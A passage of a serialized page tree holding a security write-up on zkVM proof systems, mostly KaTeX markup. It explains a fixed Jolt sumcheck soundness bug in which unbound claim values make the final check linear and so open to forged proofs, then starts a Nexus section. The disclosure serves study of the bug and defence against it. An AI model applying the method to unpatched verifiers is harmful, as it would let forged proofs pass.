23],{"type":26,"tag":475,"props":115119,"children":115121},{"className":115120,"style":21339},[21332,21337,21338],[115122],{"type":32,"value":108274},{"type":26,"tag":475,"props":115124,"children":115126},{"className":115125},[3736],[115127],{"type":26,"tag":475,"props":115128,"children":115130},{"className":115129},[3741,21350],[115131,115160],{"type":26,"tag":475,"props":115132,"children":115134},{"className":115133},[3746],[115135,115155],{"type":26,"tag":475,"props":115136,"children":115138},{"className":115137,"style":113686},[3751],[115139],{"type":26,"tag":475,"props":115140,"children":115141},{"style":21363},[115142,115146],{"type":26,"tag":475,"props":115143,"children":115145},{"className":115144,"style":3761},[3760],[],{"type":26,"tag":475,"props":115147,"children":115149},{"className":115148},[3766,3767,3768,3769],[115150],{"type":26,"tag":475,"props":115151,"children":115153},{"className":115152},[3719,21296,3769],[115154],{"type":32,"value":3445},{"type":26,"tag":475,"props":115156,"children":115158},{"className":115157},[21453],[115159],{"type":32,"value":21456},{"type":26,"tag":475,"props":115161,"children":115163},{"className":115162},[3746],[115164],{"type":26,"tag":475,"props":115165,"children":115167},{"className":115166,"style":113966},[3751],[115168],{"type":26,"tag":475,"props":115169,"children":115170},{},[],{"type":26,"tag":475,"props":115172,"children":115174},{"className":115173,"style":3839},[3800],[],{"type":26,"tag":475,"props":115176,"children":115178},{"className":115177},[3719],[115179,115184],{"type":26,"tag":475,"props":115180,"children":115182},{"className":115181,"style":114567},[3719,21296],[115183],{"type":32,"value":114570},{"type":26,"tag":475,"props":115185,"children":115187},{"className":115186},[3736],[115188],{"type":26,"tag":475,"props":115189,"children":115191},{"className":115190},[3741,21350],[115192,115222],{"type":26,"tag":475,"props":115193,"children":115195},{"className":115194},[3746],[115196,115217],{"type":26,"tag":475,"props":115197,"children":115199},{"className":115198,"style":93196},[3751],[115200],{"type":26,"tag":475,"props":115201,"children":115203},{"style":115202},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[115204,115208],{"type":26,"tag":475,"props":115205,"children":115207},{"className":115206,"style":3761},[3760],[],{"type":26,"tag":475,"props":115209,"children":115211},{"className":115210},[3766,3767,3768,3769],[115212],{"type":26,"tag":475,"props":115213,"children":115215},{"className":115214},[3719,21296,3769],[115216],{"type":32,"value":3445},{"type":26,"tag":475,"props":115218,"children":115220},{"className":115219},[21453],[115221],{"type":32,"value":21456},{"type":26,"tag":475,"props":115223,"children":115225},{"className":115224},[3746],[115226],{"type":26,"tag":475,"props":115227,"children":115229},{"className":115228,"style":92750},[3751],[115230],{"type":26,"tag":475,"props":115231,"children":115232},{},[],{"type":26,"tag":475,"props":115234,"children":115236},{"className":115235,"style":3801},[3800],[],{"type":26,"tag":475,"props":115238,"children":115240},{"className":115239},[3806],[115241],{"type":32,"value":110741},{"type":26,"tag":475,"props":115243,"children":115245},{"className":115244,"style":3801},[3800],[],{"type":26,"tag":475,"props":115247,"children":115249},{"className":115248},[3708],[115250,115254],{"type":26,"tag":475,"props":115251,"children":115253},{"className":115252,"style":110476},[3713],[],{"type":26,"tag":475,"props":115255,"children":115257},{"className":115256},[3719],[115258,115263],{"type":26,"tag":475,"props":115259,"children":115261},{"className":115260,"style":92901},[3719,21296],[115262],{"type":32,"value":92904},{"type":26,"tag":475,"props":115264,"children":115266},{"className":115265},[3736],[115267],{"type":26,"tag":475,"props":115268,"children":115270},{"className":115269},[3741,21350],[115271,115300],{"type":26,"tag":475,"props":115272,"children":115274},{"className":115273},[3746],[115275,115295],{"type":26,"tag":475,"props":115276,"children":115278},{"className":115277,"style":93196},[3751],[115279],{"type":26,"tag":475,"props":115280,"children":115281},{"style":109908},[115282,115286],{"type":26,"tag":475,"props":115283,"children":115285},{"className":115284,"style":3761},[3760],[],{"type":26,"tag":475,"props":115287,"children":115289},{"className":115288},[3766,3767,3768,3769],[115290],{"type":26,"tag":475,"props":115291,"children":115293},{"className":115292},[3719,21296,3769],[115294],{"type":32,"value":3445},{"type":26,"tag":475,"props":115296,"children":115298},{"className":115297},[21453],[115299],{"type":32,"value":21456},{"type":26,"tag":475,"props":115301,"children":115303},{"className":115302},[3746],[115304],{"type":26,"tag":475,"props":115305,"children":115307},{"className":115306,"style":92750},[3751],[115308],{"type":26,"tag":475,"props":115309,"children":115310},{},[],{"type":26,"tag":35,"props":115312,"children":115313},{},[115314,115316,115393,115395,115400,115402,115479,115481,115558,115560,115637],{"type":32,"value":115315},"where ",{"type":26,"tag":53,"props":115317,"children":115319},{"className":115318},[3691,3692],[115320],{"type":26,"tag":475,"props":115321,"children":115323},{"className":115322},[3697],[115324],{"type":26,"tag":475,"props":115325,"children":115327},{"className":115326,"ariaHidden":3703},[3702],[115328],{"type":26,"tag":475,"props":115329,"children":115331},{"className":115330},[3708],[115332,115336],{"type":26,"tag":475,"props":115333,"children":115335},{"className":115334,"style":109449},[3713],[],{"type":26,"tag":475,"props":115337,"children":115339},{"className":115338},[3719],[115340,115345],{"type":26,"tag":475,"props":115341,"children":115343},{"className":115342,"style":114567},[3719,21296],[115344],{"type":32,"value":114570},{"type":26,"tag":475,"props":115346,"children":115348},{"className":115347},[3736],[115349],{"type":26,"tag":475,"props":115350,"children":115352},{"className":115351},[3741,21350],[115353,115382],{"type":26,"tag":475,"props":115354,"children":115356},{"className":115355},[3746],[115357,115377],{"type":26,"tag":475,"props":115358,"children":115360},{"className":115359,"style":93196},[3751],[115361],{"type":26,"tag":475,"props":115362,"children":115363},{"style":115202},[115364,115368],{"type":26,"tag":475,"props":115365,"children":115367},{"className":115366,"style":3761},[3760],[],{"type":26,"tag":475,"props":115369,"children":115371},{"className":115370},[3766,3767,3768,3769],[115372],{"type":26,"tag":475,"props":115373,"children":115375},{"className":115374},[3719,21296,3769],[115376],{"type":32,"value":3445},{"type":26,"tag":475,"props":115378,"children":115380},{"className":115379},[21453],[115381],{"type":32,"value":21456},{"type":26,"tag":475,"props":115383,"children":115385},{"className":115384},[3746],[115386],{"type":26,"tag":475,"props":115387,"children":115389},{"className":115388,"style":92750},[3751],[115390],{"type":26,"tag":475,"props":115391,"children":115392},{},[],{"type":32,"value":115394}," are random coefficients derived from the transcript. Since ",{"type":26,"tag":53,"props":115396,"children":115398},{"className":115397},[],[115399],{"type":32,"value":114943},{"type":32,"value":115401}," (containing ",{"type":26,"tag":53,"props":115403,"children":115405},{"className":115404},[3691,3692],[115406],{"type":26,"tag":475,"props":115407,"children":115409},{"className":115408},[3697],[115410],{"type":26,"tag":475,"props":115411,"children":115413},{"className":115412,"ariaHidden":3703},[3702],[115414],{"type":26,"tag":475,"props":115415,"children":115417},{"className":115416},[3708],[115418,115422],{"type":26,"tag":475,"props":115419,"children":115421},{"className":115420,"style":110476},[3713],[],{"type":26,"tag":475,"props":115423,"children":115425},{"className":115424},[3719],[115426,115431],{"type":26,"tag":475,"props":115427,"children":115429},{"className":115428,"style":92901},[3719,21296],[115430],{"type":32,"value":92904},{"type":26,"tag":475,"props":115432,"children":115434},{"className":115433},[3736],[115435],{"type":26,"tag":475,"props":115436,"children":115438},{"className":115437},[3741,21350],[115439,115468],{"type":26,"tag":475,"props":115440,"children":115442},{"className":115441},[3746],[115443,115463],{"type":26,"tag":475,"props":115444,"children":115446},{"className":115445,"style":93196},[3751],[115447],{"type":26,"tag":475,"props":115448,"children":115449},{"style":109908},[115450,115454],{"type":26,"tag":475,"props":115451,"children":115453},{"className":115452,"style":3761},[3760],[],{"type":26,"tag":475,"props":115455,"children":115457},{"className":115456},[3766,3767,3768,3769],[115458],{"type":26,"tag":475,"props":115459,"children":115461},{"className":115460},[3719,21296,3769],[115462],{"type":32,"value":3445},{"type":26,"tag":475,"props":115464,"children":115466},{"className":115465},[21453],[115467],{"type":32,"value":21456},{"type":26,"tag":475,"props":115469,"children":115471},{"className":115470},[3746],[115472],{"type":26,"tag":475,"props":115473,"children":115475},{"className":115474,"style":92750},[3751],[115476],{"type":26,"tag":475,"props":115477,"children":115478},{},[],{"type":32,"value":115480},") were not in the transcript, the ",{"type":26,"tag":53,"props":115482,"children":115484},{"className":115483},[3691,3692],[115485],{"type":26,"tag":475,"props":115486,"children":115488},{"className":115487},[3697],[115489],{"type":26,"tag":475,"props":115490,"children":115492},{"className":115491,"ariaHidden":3703},[3702],[115493],{"type":26,"tag":475,"props":115494,"children":115496},{"className":115495},[3708],[115497,115501],{"type":26,"tag":475,"props":115498,"children":115500},{"className":115499,"style":109449},[3713],[],{"type":26,"tag":475,"props":115502,"children":115504},{"className":115503},[3719],[115505,115510],{"type":26,"tag":475,"props":115506,"children":115508},{"className":115507,"style":114567},[3719,21296],[115509],{"type":32,"value":114570},{"type":26,"tag":475,"props":115511,"children":115513},{"className":115512},[3736],[115514],{"type":26,"tag":475,"props":115515,"children":115517},{"className":115516},[3741,21350],[115518,115547],{"type":26,"tag":475,"props":115519,"children":115521},{"className":115520},[3746],[115522,115542],{"type":26,"tag":475,"props":115523,"children":115525},{"className":115524,"style":93196},[3751],[115526],{"type":26,"tag":475,"props":115527,"children":115528},{"style":115202},[115529,115533],{"type":26,"tag":475,"props":115530,"children":115532},{"className":115531,"style":3761},[3760],[],{"type":26,"tag":475,"props":115534,"children":115536},{"className":115535},[3766,3767,3768,3769],[115537],{"type":26,"tag":475,"props":115538,"children":115540},{"className":115539},[3719,21296,3769],[115541],{"type":32,"value":3445},{"type":26,"tag":475,"props":115543,"children":115545},{"className":115544},[21453],[115546],{"type":32,"value":21456},{"type":26,"tag":475,"props":115548,"children":115550},{"className":115549},[3746],[115551],{"type":26,"tag":475,"props":115552,"children":115554},{"className":115553,"style":92750},[3751],[115555],{"type":26,"tag":475,"props":115556,"children":115557},{},[],{"type":32,"value":115559}," values are independent of ",{"type":26,"tag":53,"props":115561,"children":115563},{"className":115562},[3691,3692],[115564],{"type":26,"tag":475,"props":115565,"children":115567},{"className":115566},[3697],[115568],{"type":26,"tag":475,"props":115569,"children":115571},{"className":115570,"ariaHidden":3703},[3702],[115572],{"type":26,"tag":475,"props":115573,"children":115575},{"className":115574},[3708],[115576,115580],{"type":26,"tag":475,"props":115577,"children":115579},{"className":115578,"style":110476},[3713],[],{"type":26,"tag":475,"props":115581,"children":115583},{"className":115582},[3719],[115584,115589],{"type":26,"tag":475,"props":115585,"children":115587},{"className":115586,"style":92901},[3719,21296],[115588],{"type":32,"value":92904},{"type":26,"tag":475,"props":115590,"children":115592},{"className":115591},[3736],[115593],{"type":26,"tag":475,"props":115594,"children":115596},{"className":115595},[3741,21350],[115597,115626],{"type":26,"tag":475,"props":115598,"children":115600},{"className":115599},[3746],[115601,115621],{"type":26,"tag":475,"props":115602,"children":115604},{"className":115603,"style":93196},[3751],[115605],{"type":26,"tag":475,"props":115606,"children":115607},{"style":109908},[115608,115612],{"type":26,"tag":475,"props":115609,"children":115611},{"className":115610,"style":3761},[3760],[],{"type":26,"tag":475,"props":115613,"children":115615},{"className":115614},[3766,3767,3768,3769],[115616],{"type":26,"tag":475,"props":115617,"children":115619},{"className":115618},[3719,21296,3769],[115620],{"type":32,"value":3445},{"type":26,"tag":475,"props":115622,"children":115624},{"className":115623},[21453],[115625],{"type":32,"value":21456},{"type":26,"tag":475,"props":115627,"children":115629},{"className":115628},[3746],[115630],{"type":26,"tag":475,"props":115631,"children":115633},{"className":115632,"style":92750},[3751],[115634],{"type":26,"tag":475,"props":115635,"children":115636},{},[],{"type":32,"value":353},{"type":26,"tag":35,"props":115639,"children":115640},{},[115641],{"type":26,"tag":105,"props":115642,"children":115643},{},[115644],{"type":32,"value":115645},"Why it's linear:",{"type":26,"tag":35,"props":115647,"children":115648},{},[115649,115651],{"type":32,"value":115650},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":26,"tag":53,"props":115652,"children":115654},{"className":115653},[3691,3692],[115655],{"type":26,"tag":475,"props":115656,"children":115658},{"className":115657},[3697],[115659],{"type":26,"tag":475,"props":115660,"children":115662},{"className":115661,"ariaHidden":3703},[3702],[115663],{"type":26,"tag":475,"props":115664,"children":115666},{"className":115665},[3708],[115667,115671],{"type":26,"tag":475,"props":115668,"children":115670},{"className":115669,"style":21291},[3713],[],{"type":26,"tag":475,"props":115672,"children":115674},{"className":115673,"style":92901},[3719,21296],[115675],{"type":32,"value":92904},{"type":26,"tag":35,"props":115677,"children":115678},{},[115679],{"type":26,"tag":53,"props":115680,"children":115682},{"className":115681},[3691,3692],[115683],{"type":26,"tag":475,"props":115684,"children":115686},{"className":115685},[3697],[115687],{"type":26,"tag":475,"props":115688,"children":115690},{"className":115689,"ariaHidden":3703},[3702],[115691,115781,115807,115833],{"type":26,"tag":475,"props":115692,"children":115694},{"className":115693},[3708],[115695,115699,115768,115772,115777],{"type":26,"tag":475,"props":115696,"children":115698},{"className":115697,"style":110476},[3713],[],{"type":26,"tag":475,"props":115700,"children":115702},{"className":115701},[3719],[115703,115709],{"type":26,"tag":475,"props":115704,"children":115706},{"className":115705,"style":21828},[3719,21296],[115707],{"type":32,"value":115708},"C",{"type":26,"tag":475,"props":115710,"children":115712},{"className":115711},[3736],[115713],{"type":26,"tag":475,"props":115714,"children":115716},{"className":115715},[3741,21350],[115717,115757],{"type":26,"tag":475,"props":115718,"children":115720},{"className":115719},[3746],[115721,115752],{"type":26,"tag":475,"props":115722,"children":115725},{"className":115723,"style":115724},[3751],"height:0.3361em;",[115726],{"type":26,"tag":475,"props":115727,"children":115729},{"style":115728},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[115730,115734],{"type":26,"tag":475,"props":115731,"children":115733},{"className":115732,"style":3761},[3760],[],{"type":26,"tag":475,"props":115735,"children":115737},{"className":115736},[3766,3767,3768,3769],[115738],{"type":26,"tag":475,"props":115739,"children":115741},{"className":115740},[3719,3769],[115742],{"type":26,"tag":475,"props":115743,"children":115745},{"className":115744},[3719,32,3769],[115746],{"type":26,"tag":475,"props":115747,"children":115749},{"className":115748},[3719,3769],[115750],{"type":32,"value":115751},"final",{"type":26,"tag":475,"props":115753,"children":115755},{"className":115754},[21453],[115756],{"type":32,"value":21456},{"type":26,"tag":475,"props":115758,"children":115760},{"className":115759},[3746],[115761],{"type":26,"tag":475,"props":115762,"children":115764},{"className":115763,"style":92750},[3751],[115765],{"type":26,"tag":475,"props":115766,"children":115767},{},[],{"type":26,"tag":475,"props":115769,"children":115771},{"className":115770,"style":3898},[3800],[],{"type":26,"tag":475,"props":115773,"children":115775},{"className":115774},[3903],[115776],{"type":32,"value":786},{"type":26,"tag":475,"props":115778,"children":115780},{"className":115779,"style":3898},[3800],[],{"type":26,"tag":475,"props":115782,"children":115784},{"className":115783},[3708],[115785,115789,115794,115798,115803],{"type":26,"tag":475,"props":115786,"children":115788},{"className":115787,"style":114562},[3713],[],{"type":26,"tag":475,"props":115790,"children":115792},{"className":115791},[3719,21296],[115793],{"type":32,"value":116},{"type":26,"tag":475,"props":115795,"children":115797},{"className":115796,"style":3801},[3800],[],{"type":26,"tag":475,"props":115799,"children":115801},{"className":115800},[3806],[115802],{"type":32,"value":110741},{"type":26,"tag":475,"props":115804,"children":115806},{"className":115805,"style":3801},[3800],[],{"type":26,"tag":475,"props":115808,"children":115810},{"className":115809},[3708],[115811,115815,115820,115824,115829],{"type":26,"tag":475,"props":115812,"children":115814},{"className":115813,"style":114591},[3713],[],{"type":26,"tag":475,"props":115816,"children":115818},{"className":115817,"style":92901},[3719,21296],[115819],{"type":32,"value":92904},{"type":26,"tag":475,"props":115821,"children":115823},{"className":115822,"style":3801},[3800],[],{"type":26,"tag":475,"props":115825,"children":115827},{"className":115826},[3806],[115828],{"type":32,"value":1106},{"type":26,"tag":475,"props":115830,"children":115832},{"className":115831,"style":3801},[3800],[],{"type":26,"tag":475,"props":115834,"children":115836},{"className":115835},[3708],[115837,115841],{"type":26,"tag":475,"props":115838,"children":115840},{"className":115839,"style":92582},[3713],[],{"type":26,"tag":475,"props":115842,"children":115844},{"className":115843},[3719,21296],[115845],{"type":32,"value":2930},{"type":26,"tag":35,"props":115847,"children":115848},{},[115849,115850,115889,115891,115916,115918,116048,116050,116171],{"type":32,"value":115315},{"type":26,"tag":53,"props":115851,"children":115853},{"className":115852},[3691,3692],[115854],{"type":26,"tag":475,"props":115855,"children":115857},{"className":115856},[3697],[115858],{"type":26,"tag":475,"props":115859,"children":115861},{"className":115860,"ariaHidden":3703},[3702],[115862],{"type":26,"tag":475,"props":115863,"children":115865},{"className":115864},[3708],[115866,115870,115875,115880,115884],{"type":26,"tag":475,"props":115867,"children":115869},{"className":115868,"style":114534},[3713],[],{"type":26,"tag":475,"props":115871,"children":115873},{"className":115872},[3719,21296],[115874],{"type":32,"value":116},{"type":26,"tag":475,"props":115876,"children":115878},{"className":115877},[3832],[115879],{"type":32,"value":3835},{"type":26,"tag":475,"props":115881,"children":115883},{"className":115882,"style":3839},[3800],[],{"type":26,"tag":475,"props":115885,"children":115887},{"className":115886},[3719,21296],[115888],{"type":32,"value":2930},{"type":32,"value":115890}," are determined by the transcript (independent of ",{"type":26,"tag":53,"props":115892,"children":115894},{"className":115893},[3691,3692],[115895],{"type":26,"tag":475,"props":115896,"children":115898},{"className":115897},[3697],[115899],{"type":26,"tag":475,"props":115900,"children":115902},{"className":115901,"ariaHidden":3703},[3702],[115903],{"type":26,"tag":475,"props":115904,"children":115906},{"className":115905},[3708],[115907,115911],{"type":26,"tag":475,"props":115908,"children":115910},{"className":115909,"style":21291},[3713],[],{"type":26,"tag":475,"props":115912,"children":115914},{"className":115913,"style":92901},[3719,21296],[115915],{"type":32,"value":92904},{"type":32,"value":115917},"). The verifier checks that ",{"type":26,"tag":53,"props":115919,"children":115921},{"className":115920},[3691,3692],[115922],{"type":26,"tag":475,"props":115923,"children":115925},{"className":115924},[3697],[115926],{"type":26,"tag":475,"props":115927,"children":115929},{"className":115928,"ariaHidden":3703},[3702],[115930,116016],{"type":26,"tag":475,"props":115931,"children":115933},{"className":115932},[3708],[115934,115938,116003,116007,116012],{"type":26,"tag":475,"props":115935,"children":115937},{"className":115936,"style":110476},[3713],[],{"type":26,"tag":475,"props":115939,"children":115941},{"className":115940},[3719],[115942,115947],{"type":26,"tag":475,"props":115943,"children":115945},{"className":115944,"style":21828},[3719,21296],[115946],{"type":32,"value":115708},{"type":26,"tag":475,"props":115948,"children":115950},{"className":115949},[3736],[115951],{"type":26,"tag":475,"props":115952,"children":115954},{"className":115953},[3741,21350],[115955,115992],{"type":26,"tag":475,"props":115956,"children":115958},{"className":115957},[3746],[115959,115987],{"type":26,"tag":475,"props":115960,"children":115962},{"className":115961,"style":115724},[3751],[115963],{"type":26,"tag":475,"props":115964,"children":115965},{"style":115728},[115966,115970],{"type":26,"tag":475,"props":115967,"children":115969},{"className":115968,"style":3761},[3760],[],{"type":26,"tag":475,"props":115971,"children":115973},{"className":115972},[3766,3767,3768,3769],[115974],{"type":26,"tag":475,"props":115975,"children":115977},{"className":115976},[3719,3769],[115978],{"type":26,"tag":475,"props":115979,"children":115981},{"className":115980},[3719,32,3769],[115982],{"type":26,"tag":475,"props":115983,"children":115985},{"className":115984},[3719,3769],[115986],{"type":32,"value":115751},{"type":26,"tag":475,"props":115988,"children":115990},{"className":115989},[21453],[115991],{"type":32,"value":21456},{"type":26,"tag":475,"props":115993,"children":115995},{"className":115994},[3746],[115996],{"type":26,"tag":475,"props":115997,"children":115999},{"className":115998,"style":92750},[3751],[116000],{"type":26,"tag":475,"props":116001,"children":116002},{},[],{"type":26,"tag":475,"props":116004,"children":116006},{"className":116005,"style":3898},[3800],[],{"type":26,"tag":475,"props":116008,"children":116010},{"className":116009},[3903],[116011],{"type":32,"value":786},{"type":26,"tag":475,"props":116013,"children":116015},{"className":116014,"style":3898},[3800],[],{"type":26,"tag":475,"props":116017,"children":116019},{"className":116018},[3708],[116020,116024,116034,116039],{"type":26,"tag":475,"props":116021,"children":116023},{"className":116022,"style":94080},[3713],[],{"type":26,"tag":475,"props":116025,"children":116027},{"className":116026},[3719,32],[116028],{"type":26,"tag":475,"props":116029,"children":116031},{"className":116030},[3719],[116032],{"type":32,"value":116033},"expected",{"type":26,"tag":475,"props":116035,"children":116037},{"className":116036,"style":92667},[3719],[116038],{"type":32,"value":2789},{"type":26,"tag":475,"props":116040,"children":116042},{"className":116041},[3719,32],[116043],{"type":26,"tag":475,"props":116044,"children":116046},{"className":116045},[3719],[116047],{"type":32,"value":37242},{"type":32,"value":116049}," (from PCS opening), this becomes ",{"type":26,"tag":53,"props":116051,"children":116053},{"className":116052},[3691,3692],[116054],{"type":26,"tag":475,"props":116055,"children":116057},{"className":116056},[3697],[116058],{"type":26,"tag":475,"props":116059,"children":116061},{"className":116060,"ariaHidden":3703},[3702],[116062,116088,116114,116140],{"type":26,"tag":475,"props":116063,"children":116065},{"className":116064},[3708],[116066,116070,116075,116079,116084],{"type":26,"tag":475,"props":116067,"children":116069},{"className":116068,"style":114562},[3713],[],{"type":26,"tag":475,"props":116071,"children":116073},{"className":116072},[3719,21296],[116074],{"type":32,"value":116},{"type":26,"tag":475,"props":116076,"children":116078},{"className":116077,"style":3801},[3800],[],{"type":26,"tag":475,"props":116080,"children":116082},{"className":116081},[3806],[116083],{"type":32,"value":110741},{"type":26,"tag":475,"props":116085,"children":116087},{"className":116086,"style":3801},[3800],[],{"type":26,"tag":475,"props":116089,"children":116091},{"className":116090},[3708],[116092,116096,116101,116105,116110],{"type":26,"tag":475,"props":116093,"children":116095},{"className":116094,"style":114591},[3713],[],{"type":26,"tag":475,"props":116097,"children":116099},{"className":116098,"style":92901},[3719,21296],[116100],{"type":32,"value":92904},{"type":26,"tag":475,"props":116102,"children":116104},{"className":116103,"style":3801},[3800],[],{"type":26,"tag":475,"props":116106,"children":116108},{"className":116107},[3806],[116109],{"type":32,"value":1106},{"type":26,"tag":475,"props":116111,"children":116113},{"className":116112,"style":3801},[3800],[],{"type":26,"tag":475,"props":116115,"children":116117},{"className":116116},[3708],[116118,116122,116127,116131,116136],{"type":26,"tag":475,"props":116119,"children":116121},{"className":116120,"style":92582},[3713],[],{"type":26,"tag":475,"props":116123,"children":116125},{"className":116124},[3719,21296],[116126],{"type":32,"value":2930},{"type":26,"tag":475,"props":116128,"children":116130},{"className":116129,"style":3898},[3800],[],{"type":26,"tag":475,"props":116132,"children":116134},{"className":116133},[3903],[116135],{"type":32,"value":786},{"type":26,"tag":475,"props":116137,"children":116139},{"className":116138,"style":3898},[3800],[],{"type":26,"tag":475,"props":116141,"children":116143},{"className":116142},[3708],[116144,116148,116157,116162],{"type":26,"tag":475,"props":116145,"children":116147},{"className":116146,"style":94080},[3713],[],{"type":26,"tag":475,"props":116149,"children":116151},{"className":116150},[3719,32],[116152],{"type":26,"tag":475,"props":116153,"children":116155},{"className":116154},[3719],[116156],{"type":32,"value":116033},{"type":26,"tag":475,"props":116158,"children":116160},{"className":116159,"style":92667},[3719],[116161],{"type":32,"value":2789},{"type":26,"tag":475,"props":116163,"children":116165},{"className":116164},[3719,32],[116166],{"type":26,"tag":475,"props":116167,"children":116169},{"className":116168},[3719],[116170],{"type":32,"value":37242},{"type":32,"value":353},{"type":26,"tag":35,"props":116173,"children":116174},{},[116175],{"type":32,"value":116176},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":26,"tag":35,"props":116178,"children":116179},{},[116180],{"type":32,"value":116181},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":26,"tag":35,"props":116183,"children":116184},{},[116185,116190,116192],{"type":26,"tag":105,"props":116186,"children":116187},{},[116188],{"type":32,"value":116189},"Status:",{"type":32,"value":116191}," Fixed on October 3, 2025 via ",{"type":26,"tag":116,"props":116193,"children":116196},{"href":116194,"rel":116195},"https://github.com/a16z/jolt/pull/981",[120],[116197],{"type":32,"value":116198},"PR #981",{"type":26,"tag":18502,"props":116200,"children":116201},{},[],{"type":26,"tag":41,"props":116203,"children":116205},{"id":116204},"nexus",[116206],{"type":32,"value":107298},{"type":26,"tag":35,"props":116208,"children":116209},{},[116210],{"type":32,"value":116211},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":26,"tag":35,"props":116213,"children":116214},{},[116215,116217,116222],{"type":32,"value":116216},"Nexus splits verification into ",{"type":26,"tag":105,"props":116218,"children":116219},{},[116220],{"type":32,"value":116221},"components",{"type":32,"value":116223}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":26,"tag":35,"props":116225,"children":116226},{},[116227,116229,116234],{"type":32,"value":116228},"Each component emits and consumes lookup tuples. The component's ",{"type":26,"tag":53,"props":116230,"children":116232},{"className":116231},[],[116233],{"type":32,"value":114343},{"type":32,"value":116235}," summarizes its net contribution:",{"type":26,"tag":35,"props":116237,"children":116238},{},[116239],{"type":26,"tag":53,"props":116240,"children":116242},{"className":116241},[3691,3692],[116243],{"type":26,"tag":475,"props":116244,"children":116246},{"className":116245},[3697],[116247],{"type":26,"tag":475,"props":116248,"children":116250},{"className":116249,"ariaHidden":3703},[3702],[116251,116347,116596],{"type":26,"tag":475,"props":116252,"children":116254},{"className":116253},[3708],[116255,116259,116268,116273,116334,116338,116343],{"type":26,"tag":475,"props":116256,"children":116258},{"className":116257,"style":94080},[3713],[],{"type":26,"tag":475,"props":116260,"children":116262},{"className":116261},[3719,32],[116263],{"type":26,"tag":475,"props":116264,"children":116266},{"className":116265},[3719],[116267],{"type":32,"value":113572},{"type":26,"tag":475,"props":116269,"children":116271},{"className":116270,"style":92667},[3719],[116272],{"type":32,"value":2789},{"type":26,"tag":475,"props":116274,"children":116276},{"className":116275},[3719],[116277,116286],{"type":26,"tag":475,"props":116278,"children":116280},{"className":116279},[3719,32],[116281],{"type":26,"tag":475,"props":116282,"children":116284},{"className":116283},[3719],[116285],{"type":32,"value":76261},{"type":26,"tag":475,"props":116287,"children":116289},{"className":116288},[3736],[116290],{"type":26,"tag":475,"props":116291,"children":116293},{"className":116292},[3741,21350],[116294,116323],{"type":26,"tag":475,"props":116295,"children":116297},{"className":116296},[3746],[116298,116318],{"type":26,"tag":475,"props":116299,"children":116301},{"className":116300,"style":93196},[3751],[116302],{"type":26,"tag":475,"props":116303,"children":116304},{"style":113609},[116305,116309],{"type":26,"tag":475,"props":116306,"children":116308},{"className":116307,"style":3761},[3760],[],{"type":26,"tag":475,"props":116310,"children":116312},{"className":116311},[3766,3767,3768,3769],[116313],{"type":26,"tag":475,"props":116314,"children":116316},{"className":116315},[3719,21296,3769],[116317],{"type":32,"value":3445},{"type":26,"tag":475,"props":116319,"children":116321},{"className":116320},[21453],[116322],{"type":32,"value":21456},{"type":26,"tag":475,"props":116324,"children":116326},{"className":116325},[3746],[116327],{"type":26,"tag":475,"props":116328,"children":116330},{"className":116329,"style":92750},[3751],[116331],{"type":26,"tag":475,"props":116332,"children":116333},{},[],{"type":26,"tag":475,"props":116335,"children":116337},{"className":116336,"style":3898},[3800],[],{"type":26,"tag":475,"props":116339,"children":116341},{"className":116340},[3903],[116342],{"type":32,"value":786},{"type":26,"tag":475,"props":116344,"children":116346},{"className":116345,"style":3898},[3800],[],{"type":26,"tag":475,"props":116348,"children":116350},{"className":116349},[3708],[116351,116356,116413,116417,116583,116587,116592],{"type":26,"tag":475,"props":116352,"children":116355},{"className":116353,"style":116354},[3713],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":26,"tag":475,"props":116357,"children":116359},{"className":116358},[21332],[116360,116365],{"type":26,"tag":475,"props":116361,"children":116363},{"className":116362,"style":21339},[21332,21337,21338],[116364],{"type":32,"value":108274},{"type":26,"tag":475,"props":116366,"children":116368},{"className":116367},[3736],[116369],{"type":26,"tag":475,"props":116370,"children":116372},{"className":116371},[3741,21350],[116373,116402],{"type":26,"tag":475,"props":116374,"children":116376},{"className":116375},[3746],[116377,116397],{"type":26,"tag":475,"props":116378,"children":116380},{"className":116379,"style":113686},[3751],[116381],{"type":26,"tag":475,"props":116382,"children":116383},{"style":21363},[116384,116388],{"type":26,"tag":475,"props":116385,"children":116387},{"className":116386,"style":3761},[3760],[],{"type":26,"tag":475,"props":116389,"children":116391},{"className":116390},[3766,3767,3768,3769],[116392],{"type":26,"tag":475,"props":116393,"children":116395},{"className":116394,"style":113702},[3719,21296,3769],[116396],{"type":32,"value":8368},{"type":26,"tag":475,"props":116398,"children":116400},{"className":116399},[21453],[116401],{"type":32,"value":21456},{"type":26,"tag":475,"props":116403,"children":116405},{"className":116404},[3746],[116406],{"type":26,"tag":475,"props":116407,"children":116409},{"className":116408,"style":113717},[3751],[116410],{"type":26,"tag":475,"props":116411,"children":116412},{},[],{"type":26,"tag":475,"props":116414,"children":116416},{"className":116415,"style":3839},[3800],[],{"type":26,"tag":475,"props":116418,"children":116420},{"className":116419},[3719],[116421,116425,116579],{"type":26,"tag":475,"props":116422,"children":116424},{"className":116423},[21425,112997],[],{"type":26,"tag":475,"props":116426,"children":116428},{"className":116427},[113002],[116429],{"type":26,"tag":475,"props":116430,"children":116432},{"className":116431},[3741,21350],[116433,116567],{"type":26,"tag":475,"props":116434,"children":116436},{"className":116435},[3746],[116437,116562],{"type":26,"tag":475,"props":116438,"children":116440},{"className":116439,"style":113015},[3751],[116441,116531,116542],{"type":26,"tag":475,"props":116442,"children":116443},{"style":113019},[116444,116448],{"type":26,"tag":475,"props":116445,"children":116447},{"className":116446,"style":111650},[3760],[],{"type":26,"tag":475,"props":116449,"children":116451},{"className":116450},[3766,3767,3768,3769],[116452],{"type":26,"tag":475,"props":116453,"children":116455},{"className":116454},[3719,3769],[116456,116461,116466],{"type":26,"tag":475,"props":116457,"children":116459},{"className":116458,"style":113036},[3719,21296,3769],[116460],{"type":32,"value":113039},{"type":26,"tag":475,"props":116462,"children":116464},{"className":116463},[3806,3769],[116465]